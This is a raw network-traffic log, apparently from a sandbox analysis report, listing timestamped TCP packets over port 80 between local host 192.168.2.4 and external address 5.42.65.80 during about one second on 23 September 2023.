Sep 23, 2023 17:53:21.825082064 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.825129986 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.826977015 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.827177048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.827229023 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.831407070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.831466913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.831537962 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.835591078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.835639954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.835839987 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.839867115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.839927912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.840059042 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.844039917 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.844105959 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.844188929 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.848331928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.848362923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.848527908 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.852588892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.852633953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.852684975 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.856833935 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.856885910 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.856940985 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.861459017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.863436937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.863485098 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.863524914 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.867508888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.867554903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.867582083 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.871726036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.871778011 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.871815920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.875932932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.875977039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.875992060 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.880148888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.880208969 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.880214930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.884469986 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.884533882 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.884540081 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.888653040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.888710976 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.888741970 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.892853975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.892910004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.892910004 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.897181988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.897198915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.897228956 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.901463985 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.901513100 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.901554108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.905631065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.905675888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.905695915 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.909874916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.909985065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.910017014 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.914182901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.914232969 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.916263103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.916310072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.916359901 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.980384111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.980438948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.980560064 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:21.997642040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.997742891 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:21.997806072 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.015314102 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.015387058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.015446901 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.026588917 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.026715040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.026763916 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.036587000 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.036669016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.036742926 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.047734976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.047925949 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.047986984 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.058005095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.058172941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.058327913 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.068619013 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.068660021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.068768978 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.071249962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.071289062 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.071346045 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.079668045 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.079705954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.079767942 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.090605021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.090645075 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.090873957 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.093398094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.097130060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.097166061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.097188950 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.099636078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.099672079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.099701881 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.107080936 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.107120037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.107139111 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.119134903 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.119199038 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.119292974 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.128472090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.128489017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.128532887 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.130806923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.130845070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.130875111 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.135030031 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.135067940 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.135103941 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.138816118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.138854027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.138890028 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.142688036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.142729044 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.142775059 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.146744967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.146780968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.146828890 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.150527954 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.150566101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.150626898 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.154234886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.154270887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.154318094 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.157960892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.158061028 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.159748077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.159791946 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.159909010 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.163328886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.163383007 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.163502932 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.166907072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.166953087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.167064905 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.170326948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.170486927 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.170566082 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.174078941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.174124956 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.174267054 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.177309036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.177330971 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.177473068 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.180767059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.180783987 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.180846930 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.184001923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.184052944 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.184101105 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.187197924 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.187264919 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.187329054 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.190578938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.190634966 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.190711021 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.193624973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.193641901 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.193711996 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.196732044 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.196788073 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.196847916 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.199788094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.201330900 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.201400042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.201407909 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.204416037 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.204478979 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.204480886 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.207392931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.207434893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.207464933 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.210318089 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.210335016 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.210416079 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.213294983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.213378906 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.213411093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.216242075 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.216310978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.216324091 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.219181061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.219257116 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.219260931 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.222009897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.222084999 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.222146988 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.224678040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.224756956 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.224814892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.227493048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.227562904 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.227580070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.230237961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.230320930 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.230328083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.232968092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.233026981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.233061075 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.235678911 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.235789061 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.237050056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.237173080 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.237262011 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.239933968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.239989996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.240104914 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.242583036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.242640972 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.242741108 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.245341063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.245384932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.245496988 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.248229980 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.248287916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.248387098 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.250915051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.250996113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.251101971 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.253761053 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.253808022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.253917933 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.256427050 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.256478071 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.256582022 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.259356022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.259383917 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.259516001 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.262254953 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.262351036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.262433052 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.264921904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.264966011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.265099049 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.267628908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.267707109 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.267776012 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.270289898 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.271756887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.271816969 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.271851063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.274389029 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.274441957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.274451017 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.277283907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.277339935 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.277373075 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.280087948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.280141115 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.280155897 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.282758951 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.282799006 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.282809973 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.285542011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.285592079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.285649061 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.288274050 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.288326025 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.288338900 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.291012049 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.291028976 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.291196108 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.293720961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.293765068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.293812037 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.296369076 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.296447039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.296452999 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.299268961 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.299321890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.299369097 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.301887989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.301948071 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.301955938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.304582119 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.304640055 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.305855036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.306238890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.306288958 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.308810949 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.308873892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.308926105 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.311470985 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.311517000 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.311634064 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.314121962 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.314177990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.314228058 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.316931963 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.317002058 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.317047119 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.319427967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.319586992 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.319641113 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.322396040 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.322451115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.322504997 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.325016975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.325067043 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.325128078 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.330224991 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.330290079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.330343962 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.340295076 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.340312004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.340379953 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.351377964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.351424932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.351473093 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.361660957 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.361701965 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.361751080 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.362930059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.372277021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.372320890 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:22.372349977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.374798059 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.374839067 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:22.374874115 CEST	49781	80	192.168.2.4	5.42.65.80
